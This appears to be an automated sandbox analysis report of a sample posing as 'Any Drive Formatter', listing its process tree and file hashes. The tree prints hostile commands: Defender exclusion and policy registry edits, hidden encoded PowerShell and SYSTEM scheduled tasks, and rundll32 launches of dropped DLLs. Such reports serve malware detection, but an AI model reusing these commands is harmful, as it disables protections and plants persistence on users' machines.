                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:3184
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NxGlAgQUfzUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NxGlAgQUfzUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OdCkbftzuRPDCLooswR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OdCkbftzuRPDCLooswR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WyuevociGfNU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WyuevociGfNU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\XxxUzwYQU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\XxxUzwYQU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\unWhUoTpcLxwC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\unWhUoTpcLxwC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\FZMYpcBymcbXiuVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\FZMYpcBymcbXiuVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\UwoKNgjfMpAQohzjy\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\UwoKNgjfMpAQohzjy\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\HsdHtTcNAoJBjrVs\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\HsdHtTcNAoJBjrVs\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                PID:4356
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NxGlAgQUfzUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:4236
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NxGlAgQUfzUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                        PID:4072
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NxGlAgQUfzUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:2460
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OdCkbftzuRPDCLooswR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:3212
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OdCkbftzuRPDCLooswR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:2696
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WyuevociGfNU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:4240
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WyuevociGfNU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:1132
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XxxUzwYQU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:1392
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XxxUzwYQU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:1460
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\unWhUoTpcLxwC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:2192
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\unWhUoTpcLxwC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:4836
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\FZMYpcBymcbXiuVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:3576
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\FZMYpcBymcbXiuVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:3180
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\UwoKNgjfMpAQohzjy /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:4212
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\UwoKNgjfMpAQohzjy /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:4136
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\HsdHtTcNAoJBjrVs /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:4640
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\HsdHtTcNAoJBjrVs /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:2560
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                  schtasks /CREATE /TN "gnMtnfgYj" /SC once /ST 02:48:56 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                  PID:4352
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                  schtasks /run /I /tn "gnMtnfgYj"
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:2028
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                    schtasks /DELETE /F /TN "gnMtnfgYj"
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:4280
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                      schtasks /CREATE /TN "YESfVrKgbFKcjSeIN" /SC once /ST 15:23:09 /RU "SYSTEM" /TR "\"C:\Windows\Temp\HsdHtTcNAoJBjrVs\alzQmMPVnagPWdm\njWwDHq.exe\" qz /site_id 757674 /S" /V1 /F
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                      PID:3336
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                      schtasks /run /I /tn "YESfVrKgbFKcjSeIN"
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:3636
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                                                                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                      PID:5036
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:1480
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                          PID:4152
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                                                                                                                          gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                            PID:3044
                                                                                                                                                                                                                                                                                                          • C:\Windows\Temp\HsdHtTcNAoJBjrVs\alzQmMPVnagPWdm\njWwDHq.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\Temp\HsdHtTcNAoJBjrVs\alzQmMPVnagPWdm\njWwDHq.exe qz /site_id 757674 /S
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                            • Checks computer location settings
                                                                                                                                                                                                                                                                                                            • Drops Chrome extension
                                                                                                                                                                                                                                                                                                            • Drops desktop.ini file(s)
                                                                                                                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                            PID:4748
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                              schtasks /DELETE /F /TN "bGAvhKhnIPTNQeobsw"
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:1624
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:3948
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:1268
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:2452
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                        REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:4236
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                        schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\XxxUzwYQU\zfRebA.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "iwOiVBtjWoVYUMW" /V1 /F
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                        PID:2460
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                        schtasks /CREATE /TN "iwOiVBtjWoVYUMW2" /F /xml "C:\Program Files (x86)\XxxUzwYQU\GnbMyEB.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                        PID:1336
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                        schtasks /END /TN "iwOiVBtjWoVYUMW"
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:4136
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                          schtasks /DELETE /F /TN "iwOiVBtjWoVYUMW"
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                            PID:1652
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "inkTbLvZLQETKy" /F /xml "C:\Program Files (x86)\WyuevociGfNU2\LzOYMrW.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                            PID:376
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "OyBqrIWqLdeiE2" /F /xml "C:\ProgramData\FZMYpcBymcbXiuVB\WUpZOtb.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                            PID:2380
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "PlZzFkPIrCHUSjSZK2" /F /xml "C:\Program Files (x86)\OdCkbftzuRPDCLooswR\dsKYSUK.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                            PID:4144
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "qLTAOMlkEgsXQBsYXgt2" /F /xml "C:\Program Files (x86)\unWhUoTpcLxwC\CqRtzkA.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                            PID:4348
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "YQwpFizkoQMsJvRhq" /SC once /ST 04:38:23 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\HsdHtTcNAoJBjrVs\hUqFzISs\hqhbwEs.dll\",#1 /site_id 757674" /V1 /F
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                            PID:1324
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                            schtasks /run /I /tn "YQwpFizkoQMsJvRhq"
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:5036
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:3744
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                    PID:3852
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:3972
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                        PID:2128
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                      schtasks /DELETE /F /TN "YESfVrKgbFKcjSeIN"
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                        PID:3148
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 880 -p 1800 -ip 1800
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                        PID:1384
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\HsdHtTcNAoJBjrVs\hUqFzISs\hqhbwEs.dll",#1 /site_id 757674
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                          PID:4036
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\HsdHtTcNAoJBjrVs\hUqFzISs\hqhbwEs.dll",#1 /site_id 757674
                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                            • Blocklisted process makes network request
                                                                                                                                                                                                                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                            PID:2444
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks /DELETE /F /TN "YQwpFizkoQMsJvRhq"
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:4048
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 872 -p 1800 -ip 1800
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                              PID:2744
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 876 -p 1800 -ip 1800
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                PID:5020
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 768 -p 1800 -ip 1800
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                  PID:2176

                                                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                                                      MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                      Downloads

                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Any Drive Formatter\Any Drive Format.exe

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        5.0MB

                                                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                                                        262bacb5f63eb9daf62c1c4ab2a20318

                                                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                                                        bf196ed1fd658c32b4152c7f8b3f6af5af748a03

                                                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                                                        1d2019b69f9a5f4688172a676a01e1078e8903626b36ccd8dd329ee928b17cb8

                                                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                                                        5a0598e2e473b5bcaa9de1fc23a2f20a4861a854f23862bbdde077835927b676000877fd9af0092d0f885c969590db62d37a352eaab958fa22b2cd57484098a8

                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Any Drive Formatter\Any Drive Format.exe

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        5.0MB

                                                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                                                        262bacb5f63eb9daf62c1c4ab2a20318

                                                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                                                        bf196ed1fd658c32b4152c7f8b3f6af5af748a03

                                                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                                                        1d2019b69f9a5f4688172a676a01e1078e8903626b36ccd8dd329ee928b17cb8

                                                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                                                        5a0598e2e473b5bcaa9de1fc23a2f20a4861a854f23862bbdde077835927b676000877fd9af0092d0f885c969590db62d37a352eaab958fa22b2cd57484098a8

                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Any Drive Formatter\sqlite3.dll

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        630KB

                                                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                                                        e477a96c8f2b18d6b5c27bde49c990bf

                                                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                                                        e980c9bf41330d1e5bd04556db4646a0210f7409

                                                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                                                        16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660

                                                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                                                        335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c

                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Any Drive Formatter\sqlite3.dll

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        630KB

                                                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                                                        e477a96c8f2b18d6b5c27bde49c990bf

                                                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                                                        e980c9bf41330d1e5bd04556db4646a0210f7409

                                                                                                                                                                                                                                                                                                                                                        SHA256

